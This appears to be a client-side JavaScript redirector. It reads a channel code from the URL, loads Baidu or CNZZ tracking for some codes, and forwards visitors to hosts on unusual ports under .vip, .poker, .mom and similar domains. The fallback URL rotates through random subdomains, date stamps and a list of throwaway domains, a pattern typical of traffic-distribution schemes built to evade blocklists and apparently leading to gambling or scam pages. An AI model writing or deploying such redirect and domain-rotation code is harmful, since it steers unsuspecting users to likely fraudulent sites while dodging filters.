const queryString = window.location.search;
let lastChar = queryString.length;
String0=queryString.substring(1, lastChar);

function loadBaiduAnalytics(analysiscode) {
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "https://hm.baidu.com/hm.js?"+analysiscode;
      var s = document.getElementsByTagName("script")[0]; 
      s.parentNode.insertBefore(hm, s);
    })();
}

function loadBaiduAnalyticscnzz(analysiscode) {
    var _czc = _czc || [];
    (function () {
    	var um = document.createElement("script");
    	um.src = "https://v1.cnzz.com/z.js?id="+analysiscode+"&async=1";
    	console.log(um.src)
    	var s = document.getElementsByTagName("script")[0];
    	s.parentNode.insertBefore(um, s);
    })();
}
function checkURLAndExecute() {
  

if (String0 === "AX725XRP") {         loadBaiduAnalyticscnzz('1281394671');     }
if (String0 === "MW5RFDXM") {         loadBaiduAnalyticscnzz('1281394671');     }
if (String0 === "Z4GP274S") {         loadBaiduAnalyticscnzz('1281394671');     }
if (String0 === "SG66EA2G") {         loadBaiduAnalyticscnzz('1281394671');     }
if (String0 === "AU2WS5F2") {         loadBaiduAnalyticscnzz('1281394671');     }
if (String0 === "F963ZEHV") {         loadBaiduAnalyticscnzz('1281394671');     }
    
}

checkURLAndExecute();


if (["QJ9H2EMP","MFMUXF5T"].includes(String0)){
    newurls='https://dodkgsap13bivhon.glsje45108.vip:31201/dp1/hz.htm?hz000'
    window.location.replace(newurls);  

}else if(["YPHP5834 "].includes(String0)){

    newurls='https://qwrggoqfc.140261.poker:23003/1_msx9'
    window.location.replace(newurls);    

}else if(["2MV8XTGA"].includes(String0)){

newurls='https://khjsxc.mo9238.mom:39002/1_md1/nice.htm?PUTPQM2N'
window.location.replace(newurls);

}else if(["7XH6RBCX"].includes(String0)){
newurls='https://wskn8zjc.yjlsc2692964.vip:39002/1_md1/bcios/nice.htm?'+String0
window.location.replace(newurls);    

}
else{
const channelMap = {
    'GVVFUAGP': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
    'V9ZGXMDE': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
     'YSUWWFMP': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
     '3YVGWKG3': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
     'YQQKWMUA': { proba__: 30, functionParam: 'fc9ab0e190c2b7222c007ea3bd850a45' },
    
    
};
if (channelMap[String0]) {
    const { proba__, functionParam } = channelMap[String0];
    loadBaiduAnalytics(functionParam);
}




function stripMultiple(str, chars) {
    let regex = new RegExp(`^[${chars}]+|[${chars}]+$`, 'g');
    return str.replace(regex, '');
}

var String0 = stripMultiple(String0, '/');
var String0 = stripMultiple(String0, '=');
console.log(String0);



let domainlist1=[
"duincty573824.vip",
"duincty961247.cc",
"duincty235698.top",
"duincty784152.info",
                ];
let domainlist2=[];

let defaulturl=domainlist1[0];
let start_strhost='https://';
let end_strhost=':57009/1_dysq/dp5/index.html';
let targeturl=start_strhost+'default00012c.'+defaulturl+end_strhost;




let ranstr=[
    'rjkykhwl',
    'tyjdgkykdnp',
    'updkykyzlx',
    'mwdykykqiv',
    'fyokykdmze',
    'ypikykdqdo',
    'prykykdidqs',
    'gnyfkykdft',
    'bdykykdbga',
    'zwdkykydef',
    'kwdkykybff',
    'eydykykmku',
    'ibdkykydxg',
    'gqvkykdyvd',
    'cgdkykyfnx',
    ];




function getstr0001203(list = []) {
if (list.length > 0) {
    let index = Math.floor(Math.random() * list.length);
    return list[index];
} else {
    return defaulturl;
}
}


    try{

    let date00 = new Date().toISOString().slice(0, 13).replace(/[-T:]/g, '0');
    targeturl=`${start_strhost}${getstr0001203(ranstr)}${date00}${Math.floor(Math.random()*10)}c.${getstr0001203(domainlist1)}${end_strhost}`
    
}
catch(e) {
    console.log(e.message)

}



if (typeof String0 === "undefined") {
    var String0 = "default";
}

let channelCodeo = 'default';
try {
    if (String0 && typeof String0 === 'string') {
        if (String0.includes('channel')) {
            const parts = String0.split('=');
            if (parts.length > 1) {
                const value = parts[1].trim();
                channelCodeo = value || 'default';
            }
        } else {
            channelCodeo = String0;
        }
    }
} catch (error) {
    console.error('Error processing channel code:', error);
    channelCodeo = 'default';
}

url_send = targeturl + '?channelCode=' + channelCodeo;
console.log(url_send);

window.location = url_send;



}
